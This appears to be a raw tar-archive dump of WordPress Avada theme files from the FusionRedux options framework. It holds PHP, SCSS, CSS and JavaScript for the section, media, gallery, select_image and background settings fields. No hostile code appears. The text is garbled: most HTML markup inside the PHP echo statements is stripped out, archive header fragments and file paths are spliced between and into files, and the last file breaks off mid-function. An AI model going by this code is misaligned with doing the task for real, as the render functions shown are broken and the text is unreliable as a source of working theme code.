'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_section' ) ) { /** * Main FusionReduxFramework_heading class * * @since 1.0.0 */ class FusionReduxFramework_section { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ public function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { // No errors please $defaults = array( 'indent' => '', 'style' => '', 'class' => '', 'title' => '', 'subtitle' => '', ); $this->field = wp_parse_args( $this->field, $defaults ); $guid = uniqid(); $add_class = ''; if ( isset( $this->field['indent'] ) && true === $this->field['indent'] ) { $add_class = ' form-table-section-indented'; } elseif( !isset( $this->field['indent'] ) || ( isset( $this->field['indent'] ) && false !== $this->field['indent'] ) ) { $add_class = " hide"; } echo '
    '; echo '
    '; if ( ! empty( $this->field['title'] ) ) { echo '

    ' . esc_html($this->field['title']) . '

    '; } if ( ! empty( $this->field['subtitle'] ) ) { echo '
    ' . esc_html($this->field['subtitle']) . '
    '; } echo '
    '; // delete the tr afterwards ?> parent->args['dev_mode'] ) { wp_enqueue_style( 'fusionredux-field-section-css', FusionReduxFramework::$_url . 'inc/fields/section/field_section.css', array(), time(), 'all' ); } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/section/field_section.scss000064400000000664152342437710026322 0ustar00.fusionredux-main { .form-table-section-indented { width: 95%; margin-left: 5%; } .form-table-section tr:first-of-type th:first-of-type { padding: 0px !important; } h3 { margin-top: 10px; } .form-table-section-indented > tbody > tr{ &:first-child { display: none; } &:nth-last-child(2) { border-bottom: 0; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/section/field_section.css000064400000000716152342437710026135 0ustar00.fusionredux-main .form-table-section-indented{width:95%;margin-left:5%}.fusionredux-main .form-table-section tr:first-of-type th:first-of-type{padding:0 !important}.fusionredux-main h3{margin-top:10px}.fusionredux-main .form-table-section-indented > tbody > tr:first-child{display:none}.fusionredux-main .form-table-section-indented > tbody > tr:nth-last-child(2){border-bottom:0}/*# sourceMappingURL=FusionReduxCore/inc/fields/section/field_section.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/media/field_media.scss000064400000002405152342437710025343 0ustar00.fusionredux-main { .button.remove-image, .removeCSS { margin-left: 10px; color: #ef521d; &:hover { color: red; } } .upload_button_div { margin-bottom: 5px; } .upload-error { float: left; color: #666; font-size: 10px; font-weight: bold; text-decoration: none; text-shadow: 1px 1px 0 #FFFFFF; margin: 0 10px 0 0; padding: 3px 10px; background: #FFDFEC; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } .reset-button { // font-family: Arial, Verdana, sans-serif; float: left; margin: 0; color: #ef521d; border-color: #bbb; } .fusionredux-option-image { max-height: 340px; max-width: 340px; padding: 5px; margin-bottom: 0; margin-top: 10px; margin-right: 15px; border: 1px solid #e3e3e3; background: #f7f7f7; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .fusionredux-main .upload { width: 80% !important; } .button { margin-top: 2px; } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/media/field_media.css000064400000002021152342437710025152 0ustar00.fusionredux-main .button.remove-image,.fusionredux-main .removeCSS{margin-left:10px;color:#ef521d}.fusionredux-main .button.remove-image:hover,.fusionredux-main .removeCSS:hover{color:red}.fusionredux-main .upload_button_div{margin-bottom:5px}.fusionredux-main .upload-error{float:left;color:#666;font-size:10px;font-weight:bold;text-decoration:none;text-shadow:1px 1px 0 #fff;margin:0 10px 0 0;padding:3px 10px;background:#ffdfec;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.fusionredux-main .reset-button{float:left;margin:0;color:#ef521d;border-color:#bbb}.fusionredux-main .fusionredux-option-image{max-height:340px;max-width:340px;padding:5px;margin-bottom:0;margin-top:10px;margin-right:15px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.fusionredux-main .fusionredux-main .upload{width:80% !important}.fusionredux-main .button{margin-top:2px}/*# sourceMappingURL=FusionReduxCore/inc/fields/media/field_media.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/media/field_media.php000064400000020272152342437710025161 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Media * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @author Kevin Provance (kprovance) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_media' ) ) { /** * Main FusionReduxFramework_media class * * @since 1.0.0 */ class FusionReduxFramework_media { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { // No errors please $defaults = array( 'id' => '', 'url' => '', 'width' => '', 'height' => '', 'thumbnail' => '', ); $this->value = wp_parse_args( $this->value, $defaults ); if (isset($this->field['mode']) && $this->field['mode'] == false) { $this->field['mode'] = 0; } if ( ! isset( $this->field['mode'] ) ) { $this->field['mode'] = "image"; } if (!isset($this->field['library_filter'])) { $libFilter = ''; } else { if (!is_array($this->field['library_filter'])) { $this->field['library_filter'] = array($this->field['library_filter']); } $mimeTypes = get_allowed_mime_types(); $libArray = $this->field['library_filter']; $jsonArr = array(); // Enum mime types foreach ($mimeTypes as $ext => $type) { if (strpos($ext,'|')) { $expArr = explode('|', $ext); foreach($expArr as $ext){ if (in_array($ext, $libArray )) { $jsonArr[$ext] = $type; } } } elseif (in_array($ext, $libArray )) { $jsonArr[$ext] = $type; } } $libFilter = urlencode(json_encode($jsonArr)); } if ( empty( $this->value ) && ! empty( $this->field['default'] ) ) { // If there are standard values and value is empty if ( is_array( $this->field['default'] ) ) { if ( ! empty( $this->field['default']['id'] ) ) { $this->value['id'] = $this->field['default']['id']; } if ( ! empty( $this->field['default']['url'] ) ) { $this->value['url'] = $this->field['default']['url']; } } else { if ( is_numeric( $this->field['default'] ) ) { // Check if it's an attachment ID $this->value['id'] = $this->field['default']; } else { // Must be a URL $this->value['url'] = $this->field['default']; } } } if ( empty( $this->value['url'] ) && ! empty( $this->value['id'] ) ) { $img = wp_get_attachment_image_src( $this->value['id'], 'full' ); $this->value['url'] = $img[0]; $this->value['width'] = $img[1]; $this->value['height'] = $img[2]; } $hide = 'hide '; if ( ( isset( $this->field['preview'] ) && $this->field['preview'] === false ) ) { $this->field['class'] .= " noPreview"; } if ( ( ! empty( $this->field['url'] ) && $this->field['url'] === true ) || isset( $this->field['preview'] ) && $this->field['preview'] === false ) { $hide = ''; } $placeholder = isset( $this->field['placeholder'] ) ? $this->field['placeholder'] : __( 'No media selected', 'Avada' ); $readOnly = ' readonly="readonly"'; if ( isset( $this->field['readonly'] ) && $this->field['readonly'] === false ) { $readOnly = ''; } echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; //Preview $hide = ''; if ( ( isset( $this->field['preview'] ) && $this->field['preview'] === false ) || empty( $this->value['url'] ) ) { $hide = 'hide '; } if ( empty( $this->value['thumbnail'] ) && ! empty( $this->value['url'] ) ) { // Just in case if ( ! empty( $this->value['id'] ) ) { $image = wp_get_attachment_image_src( $this->value['id'], array( 150, 150 ) ); if (empty($image[0]) || $image[0] == '') { $this->value['thumbnail'] = $this->value['url']; } else { $this->value['thumbnail'] = $image[0]; } } else { $this->value['thumbnail'] = $this->value['url']; } } echo '
    '; echo ''; echo ''; echo ''; echo '
    '; //Upload controls DIV echo '
    '; //If the user has WP3.5+ show upload/remove button echo '' . __( 'Upload', 'Avada' ) . ''; $hide = ''; if ( empty( $this->value['url'] ) || $this->value['url'] == '' ) { $hide = ' hide'; } echo '' . __( 'Remove', 'Avada' ) . ''; echo '
    '; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ( function_exists( 'wp_enqueue_media' ) ) { wp_enqueue_media(); } else { wp_enqueue_script( 'media-upload' ); } wp_enqueue_script( 'fusionredux-field-media-js', FusionReduxFramework::$_url . 'assets/js/media/media' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'fusionredux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style('fusionredux-field-media-css'); } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/gallery/field_gallery.min.js000064400000002705152342437710026531 0ustar00!function(e){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.gallery=fusionredux.field_objects.gallery||{},e(document).ready(function(){}),fusionredux.field_objects.gallery.init=function(i){i||(i=e(document).find(".fusionredux-container-gallery:visible")),e(i).each(function(){var i=e(this),l=i;i.hasClass("fusionredux-field-container")||(l=i.parents(".fusionredux-field-container:first")),l.is(":hidden")||l.hasClass("fusionredux-field-init")&&(l.removeClass("fusionredux-field-init"),i.on({click:function(i){wp.media.view.Settings.Gallery=wp.media.view.Settings.Gallery.extend({template:function(e){}});var l=e(this).closest("fieldset");if("clear-gallery"!==i.currentTarget.id){if("undefined"!=typeof wp&&wp.media&&wp.media.gallery){i.preventDefault();e(this);var n,a=l.find(".gallery_values").val();return n=a?'[gallery ids="'+a+'"]':'[gallery ids="0"]',wp.media.gallery.edit(n).state("gallery-edit").on("update",function(e){l.find(".screenshot").html("");var i,n,a="",s=e.models.map(function(e){return i=e.toJSON(),n=void 0!==i.sizes.thumbnail?i.sizes.thumbnail.url:i.url,a="",l.find(".screenshot").append(a),e.id});l.find(".gallery_values").val(s.join(",")),fusionredux_change(l.find(".gallery_values"))}),!1}}else{l.find(".gallery_values").val("");l.find(".screenshot").html("")}}},".gallery-attachments"))})}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/gallery/field_gallery.js000064400000011351152342437710025744 0ustar00/* global fusionredux_change, wp */ /*global fusionredux_change, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.gallery = fusionredux.field_objects.gallery || {}; $( document ).ready( function() { //fusionredux.field_objects.gallery.init(); } ); fusionredux.field_objects.gallery.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.fusionredux-container-gallery:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } // When the user clicks on the Add/Edit gallery button, we need to display the gallery editing el.on( { click: function( event ) { // hide gallery settings used for posts/pages wp.media.view.Settings.Gallery = wp.media.view.Settings.Gallery.extend({ template: function(view){ return; } }); var current_gallery = $( this ).closest( 'fieldset' ); if ( event.currentTarget.id === 'clear-gallery' ) { //remove value from input var rmVal = current_gallery.find( '.gallery_values' ).val( '' ); //remove preview images current_gallery.find( ".screenshot" ).html( "" ); return; } // Make sure the media gallery API exists if ( typeof wp === 'undefined' || !wp.media || !wp.media.gallery ) { return; } event.preventDefault(); // Activate the media editor var $$ = $( this ); var val = current_gallery.find( '.gallery_values' ).val(); var final; if ( !val ) { final = '[gallery ids="0"]'; } else { final = '[gallery ids="' + val + '"]'; } var frame = wp.media.gallery.edit( final ); // When the gallery-edit state is updated, copy the attachment ids across frame.state( 'gallery-edit' ).on( 'update', function( selection ) { //clear screenshot div so we can append new selected images current_gallery.find( ".screenshot" ).html( "" ); var element, preview_html = "", preview_img; var ids = selection.models.map( function( e ) { element = e.toJSON(); preview_img = typeof element.sizes.thumbnail !== 'undefined' ? element.sizes.thumbnail.url : element.url; preview_html = ""; current_gallery.find( ".screenshot" ).append( preview_html ); return e.id; } ); current_gallery.find( '.gallery_values' ).val( ids.join( ',' ) ); fusionredux_change( current_gallery.find( '.gallery_values' ) ); } ); return false; } }, '.gallery-attachments' ); } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/gallery/field_gallery.php000064400000006613152342437710026124 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Gallery * @author Abdullah Almesbahi (cadr-sa) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_gallery' ) ) { /** * Main FusionReduxFramework_gallery class * * @since 3.0.0 */ class FusionReduxFramework_gallery { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { echo '
    '; if ( ! empty( $this->value ) ) { $ids = explode( ',', $this->value ); foreach ( $ids as $attachment_id ) { $img = wp_get_attachment_image_src( $attachment_id, 'thumbnail' ); echo ''; echo ''; echo ''; } } echo '
    '; echo '' . __( 'Add/Edit Gallery', 'Avada' ) . ' '; echo '' . __( 'Clear Gallery', 'Avada' ) . ''; echo ''; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ( function_exists( 'wp_enqueue_media' ) ) { wp_enqueue_media(); } else { wp_enqueue_script( 'media-upload' ); wp_enqueue_script( 'thickbox' ); wp_enqueue_style( 'thickbox' ); } wp_enqueue_script( 'fusionredux-field-gallery-js', FusionReduxFramework::$_url . 'inc/fields/gallery/field_gallery' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'fusionredux-js' ), time(), true ); } } } includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select_image/field_select_image.css000064400000000631152342437710030004 0ustar00Avada.fusionredux-container-select_image{margin-top:2px;margin-left:5px;width:100%;margin-bottom:0}.fusionredux-preview-image{max-height:250px;max-width:250px;padding:5px;margin-top:10px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}/*# sourceMappingURL=FusionReduxCore/inc/fields/select_image/field_select_image.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select_image/field_select_image.js000064400000005203152342437710027707 0ustar00/*global fusionredux_change, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.select_image = fusionredux.field_objects.select_image || {}; $( document ).ready( function() { //fusionredux.field_objects.select_image.init(); } ); fusionredux.field_objects.select_image.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-select_image:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; var select3_handle = el.find( '.fusionredux-container-select_image' ).find( '.select3_params' ); if ( select3_handle.length > 0 ) { var select3_params = select3_handle.val(); select3_params = JSON.parse( select3_params ); default_params = $.extend( {}, default_params, select3_params ); } el.find( 'select.fusionredux-select-images' ).select3( default_params ); el.find( '.fusionredux-select-images' ).on( 'change', function() { var preview = $( this ).parents( '.fusionredux-field:first' ).find( '.fusionredux-preview-image' ); if ( $( this ).val() === "" ) { preview.fadeOut( 'medium', function() { preview.attr( 'src', '' ); } ); } else { preview.attr( 'src', $( this ).val() ); preview.fadeIn().css( 'visibility', 'visible' ); } } ); } ); }; })( jQuery ); includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select_image/field_select_image.scss000064400000000633152342437710030171 0ustar00Avada.fusionredux-container-select_image { margin-top: 2px; margin-left: 5px; width: 100%; margin-bottom: 0; } .fusionredux-preview-image { max-height: 250px; max-width: 250px; padding: 5px; margin-top: 10px; border: 1px solid #e3e3e3; background: #f7f7f7; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select_image/field_select_image.php000064400000012315152342437710030005 0ustar00Avada */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'FusionReduxFramework_select_image' ) ) { class FusionReduxFramework_select_image { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since FusionReduxFramework 1.0.0 */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function render() { // If options is NOT empty, the process if ( ! empty( $this->field['options'] ) ) { // Strip off the file ext if ( isset( $this->value ) ) { $name = explode( ".", $this->value ); $name = str_replace( '.' . end( $name ), '', $this->value ); $name = basename( $name ); //$this->value = trim( $name ); $filename = trim($name); } // beancounter $x = 1; // Process width if ( ! empty( $this->field['width'] ) ) { $width = ' style="width:' . $this->field['width'] . ';"'; } else { $width = ' style="width: 40%;"'; } // Process placeholder $placeholder = ( isset( $this->field['placeholder'] ) ) ? esc_attr( $this->field['placeholder'] ) : __( 'Select an item', 'Avada' ); if ( isset( $this->field['select3'] ) ) { // if there are any let's pass them to js $select3_params = json_encode( $this->field['select3'] ); $select3_params = htmlspecialchars( $select3_params, ENT_QUOTES ); echo ''; } // Begin the '; echo ''; // Enum through the options array foreach ( $this->field['options'] as $k => $v ) { // No array? No problem! if ( ! is_array( $v ) ) { $v = array( 'img' => $v ); } // No title set? Make it blank. if ( ! isset( $v['title'] ) ) { $v['title'] = ''; } // No alt? Set it to title. We do this so the alt tag shows // something. It also makes HTML/SEO purists happy. if ( ! isset( $v['alt'] ) ) { $v['alt'] = $v['title']; } // Set the selected entry $selected = selected( $this->value, $v['img'], false ); // If selected returns something other than a blank space, we // found our default/saved name. Save the array number in a // variable to use later on when we want to extract its associted // url. if ( '' != $selected ) { $arrNum = $x; } // Add the option tag, with values. echo ''; // Add a bean $x ++; } // Close the '; // Some space echo '

    '; // Show the preview image. echo '
    '; // just in case. You never know. if ( ! isset( $arrNum ) ) { $this->value = ''; } // Set the default image. To get the url from the default name, // we save the array count from the for/each loop, when the default image // is mark as selected. Since the for/each loop starts at one, we must // substract one from the saved array number. We then pull the url // out of the options array, and there we go. if ( '' == $this->value ) { echo ''; } else { echo ''; } // Close the
    tag. echo '
    '; } else { // No options specified. Really? echo '' . __( 'No items of this type were found.', 'Avada' ) . ''; } } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since FusionReduxFramework 1.0.0 */ function enqueue() { wp_enqueue_style( 'select3-css' ); wp_enqueue_script( 'field-select-image-js', FusionReduxFramework::$_url . 'inc/fields/select_image/field_select_image' . FusionRedux_Functions::isMin() . '.js', array('jquery', 'select3-js', 'fusionredux-js'), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-select-image-css', FusionReduxFramework::$_url . 'inc/fields/select_image/field_select_image.css', array(), time(), 'all' ); } } //function } //class } includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/select_image/field_select_image.min.js000064400000002161152342437710030412 0ustar00Avada!function(e){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.select_image=fusionredux.field_objects.select_image||{},e(document).ready(function(){}),fusionredux.field_objects.select_image.init=function(i){i||(i=e(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-select_image:visible")),e(i).each(function(){var i=e(this),s=i;if(i.hasClass("fusionredux-field-container")||(s=i.parents(".fusionredux-field-container:first")),!s.is(":hidden")&&s.hasClass("fusionredux-field-init")){s.removeClass("fusionredux-field-init");var n={width:"resolve",triggerChange:!0,allowClear:!0},t=i.find(".fusionredux-container-select_image").find(".select3_params");if(t.length>0){var f=t.val();f=JSON.parse(f),n=e.extend({},n,f)}i.find("select.fusionredux-select-images").select3(n),i.find(".fusionredux-select-images").on("change",function(){var i=e(this).parents(".fusionredux-field:first").find(".fusionredux-preview-image");""===e(this).val()?i.fadeOut("medium",function(){i.attr("src","")}):(i.attr("src",e(this).val()),i.fadeIn().css("visibility","visible"))})}})}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.min.js000064400000013405152342437710027670 0ustar00!function(e){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.background=fusionredux.field_objects.background||{},fusionredux.field_objects.background.init=function(i){i||(i=e(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-background:visible")),e(i).each(function(){var i=e(this),n=i;if(i.hasClass("fusionredux-field-container")||(n=i.parents(".fusionredux-field-container:first")),!n.is(":hidden")&&n.hasClass("fusionredux-field-init")){n.removeClass("fusionredux-field-init"),i.find(".fusionredux-remove-background").unbind("click").on("click",function(i){return i.preventDefault(),fusionredux.field_objects.background.removeImage(e(this).parents(".fusionredux-container-background:first")),!1}),i.find(".fusionredux-background-upload").unbind().on("click",function(i){fusionredux.field_objects.background.addImage(i,e(this).parents(".fusionredux-container-background:first"))}),i.find(".fusionredux-background-input").on("change",function(){fusionredux.field_objects.background.preview(e(this))}),i.find(".fusionredux-color").wpColorPicker({change:function(i,n){e(this).val(n.color.toString()),fusionredux_change(e(this)),e("#"+i.target.id+"-transparency").removeAttr("checked"),fusionredux.field_objects.background.preview(e(this))},clear:function(i,n){e(this).val(n.color.toString()),fusionredux_change(e(this).parent().find(".fusionredux-color-init")),fusionredux.field_objects.background.preview(e(this))},palettes:["#000000","#ffffff","#f44336","#E91E63","#03A9F4","#00BCD4","#8BC34A","#FFEB3B","#FFC107","#FF9800","#607D8B"]}),i.find(".fusionredux-color").on("blur",function(){var n=e(this).val(),r="#"+e(this).attr("id");"transparent"===n?(e(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(r+"-transparency").attr("checked","checked")):(colorValidate(this)===n&&0!==n.indexOf("#")&&e(this).val(e(this).data("oldcolor")),i.find(r+"-transparency").removeAttr("checked"))}),i.find(".fusionredux-color").on("focus",function(){e(this).data("oldcolor",e(this).val())}),i.find(".fusionredux-color").on("keyup",function(){var n=e(this).val(),r=colorValidate(this),t="#"+e(this).attr("id");"transparent"===n?(e(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(t+"-transparency").attr("checked","checked")):(i.find(t+"-transparency").removeAttr("checked"),r&&r!==e(this).val()&&e(this).val(r))}),i.find(".color-transparency").on("click",function(){if(e(this).is(":checked"))i.find(".fusionredux-saved-color").val(e("#"+e(this).data("id")).val()),i.find("#"+e(this).data("id")).val("transparent"),i.find("#"+e(this).data("id")).parent().parent().find(".wp-color-result").css("background-color","transparent");else if("transparent"===i.find("#"+e(this).data("id")).val()){var n=e(".fusionredux-saved-color").val();""===n&&(n=e("#"+e(this).data("id")).data("default-color")),i.find("#"+e(this).data("id")).parent().parent().find(".wp-color-result").css("background-color",n),i.find("#"+e(this).data("id")).val(n)}fusionredux.field_objects.background.preview(e(this)),fusionredux_change(e(this))});var r={width:"resolve",triggerChange:!0,allowClear:!0},t=i.find(".select3_params");if(t.length>0){var a=t.val();a=JSON.parse(a),r=e.extend({},r,a)}i.find(" .fusionredux-background-repeat, .fusionredux-background-clip, .fusionredux-background-origin, .fusionredux-background-size, .fusionredux-background-attachment, .fusionredux-background-position").select3(r)}})},fusionredux.field_objects.background.preview=function(i){var n=e(i).parents(".fusionredux-container-background:first"),r=e(n).find(".background-preview");if(r){var t=!0,a="height:"+r.height()+"px;";e(n).find(".fusionredux-background-input").each(function(){var i=e(this).serializeArray();(i=i[0])&&-1!=i.name.indexOf("[background-")&&""!==i.value&&(t=!1,i.name=i.name.split("[background-"),i.name="background-"+i.name[1].replace("]",""),"background-image"==i.name?a+=i.name+':url("'+i.value+'");':a+=i.name+":"+i.value+";")}),t?r.slideUp():r.attr("style",a).fadeIn()}},fusionredux.field_objects.background.addImage=function(i,n){var r;i.preventDefault();var t=e(this);r||(r=wp.media({multiple:!1,library:{},title:t.data("choose"),button:{text:t.data("update")}})).on("select",function(){var i=r.state().get("selection").first();if(r.close(),"image"===i.attributes.type){n.find(".upload").val(i.attributes.url),n.find(".upload-id").val(i.attributes.id),n.find(".upload-height").val(i.attributes.height),n.find(".upload-width").val(i.attributes.width),fusionredux_change(e(n).find(".upload-id"));var t=i.attributes.url;if(void 0!==i.attributes.sizes&&void 0!==i.attributes.sizes.thumbnail)t=i.attributes.sizes.thumbnail.url;else if(void 0!==i.attributes.sizes){var a=i.attributes.height;for(var d in i.attributes.sizes){var o=i.attributes.sizes[d];o.height').slideDown("fast"),n.find(".fusionredux-remove-background").removeClass("hide"),n.find(".fusionredux-background-input-properties").slideDown(),fusionredux.field_objects.background.preview(n.find(".upload"))}}),r.open()},fusionredux.field_objects.background.removeImage=function(i){i.find(".fusionredux-remove-background").addClass("hide")&&(i.find(".fusionredux-remove-background").addClass("hide"),i.find(".upload").val(""),i.find(".upload-id").val(""),i.find(".upload-height").val(""),i.find(".upload-width").val(""),fusionredux_change(e(i).find(".upload-id")),i.find(".fusionredux-background-input-properties").hide(),i.find(".screenshot").slideUp(),i.find(".remove-file").unbind(),e(".section-upload .upload-notice").length>0&&e(".fusionredux-background-upload").remove())}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.scss000064400000003570152342437710027447 0ustar00.fusionredux-main { .fusionredux-container-background { .fusionredux-background-position, .fusionredux-background-position select, .fusionredux-background-attachment, .fusionredux-background-attachment select, .fusionredux-background-clip, .fusionredux-background-clip select, .fusionredux-background-origin, .fusionredux-background-origin select, .fusionredux-background-size, .fusionredux-background-size select, .fusionredux-background-repeat, .fusionredux-background-repeat select { width:200px !important; margin-right: 10px; margin-bottom: 7px; } .background-preview { display:block; width: 100%; margin: 5px 0 10px; border:1px dotted lightgray; } .select3-container { margin-right: 10px; margin-bottom: 10px; } .wp-picker-container { margin-bottom: 10px; } .upload { width: 100%; margin-bottom: 8px; } } .fusionredux-container-select { li.ui-state-highlight { height: 20px; margin-top:2px; margin-left: 5px; width: 64px; margin-bottom: 0; } } } .wp-customizer { .fusionredux-container-background { .fusionredux-background-position, .fusionredux-background-position select, .fusionredux-background-attachment, .fusionredux-background-attachment select, .fusionredux-background-clip, .fusionredux-background-clip select, .fusionredux-background-origin, .fusionredux-background-origin select, .fusionredux-background-size, .fusionredux-background-size select, .fusionredux-background-repeat, .fusionredux-background-repeat select { width: 100% !important; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.php000064400000043456152342437710027272 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Background * @author Dovy Paukstys * @version 3.1.5 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_background' ) ) { /** * Main FusionReduxFramework_background class * * @since 3.1.5 */ class FusionReduxFramework_background { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 3.1.5 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $defaults = array( 'background-color' => true, 'background-repeat' => true, 'background-attachment' => true, 'background-position' => true, 'background-image' => true, 'background-gradient' => false, 'background-clip' => false, 'background-origin' => false, 'background-size' => true, 'preview_media' => false, 'preview' => true, 'preview_height' => '200px', 'transparent' => true, ); $this->field = wp_parse_args( $this->field, $defaults ); // No errors please $defaults = array( 'background-color' => '', 'background-repeat' => '', 'background-attachment' => '', 'background-position' => '', 'background-image' => '', 'background-clip' => '', 'background-origin' => '', 'background-size' => '', 'media' => array(), ); $this->value = wp_parse_args( $this->value, $defaults ); $defaults = array( 'id' => '', 'width' => '', 'height' => '', 'thumbnail' => '', ); $this->value['media'] = wp_parse_args( $this->value['media'], $defaults ); // select3 args if ( isset( $this->field['select3'] ) ) { // if there are any let's pass them to js $select3_params = json_encode( $this->field['select3'] ); $select3_params = htmlspecialchars( $select3_params, ENT_QUOTES ); echo ''; } if ( $this->field['background-color'] === true ) { if ( isset( $this->value['color'] ) && empty( $this->value['background-color'] ) ) { $this->value['background-color'] = $this->value['color']; } echo ''; echo ''; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value['background-color'] == "transparent" ) { $tChecked = ' checked="checked"'; } echo ''; } if ( $this->field['background-repeat'] === true || $this->field['background-position'] === true || $this->field['background-attachment'] === true ) { echo '
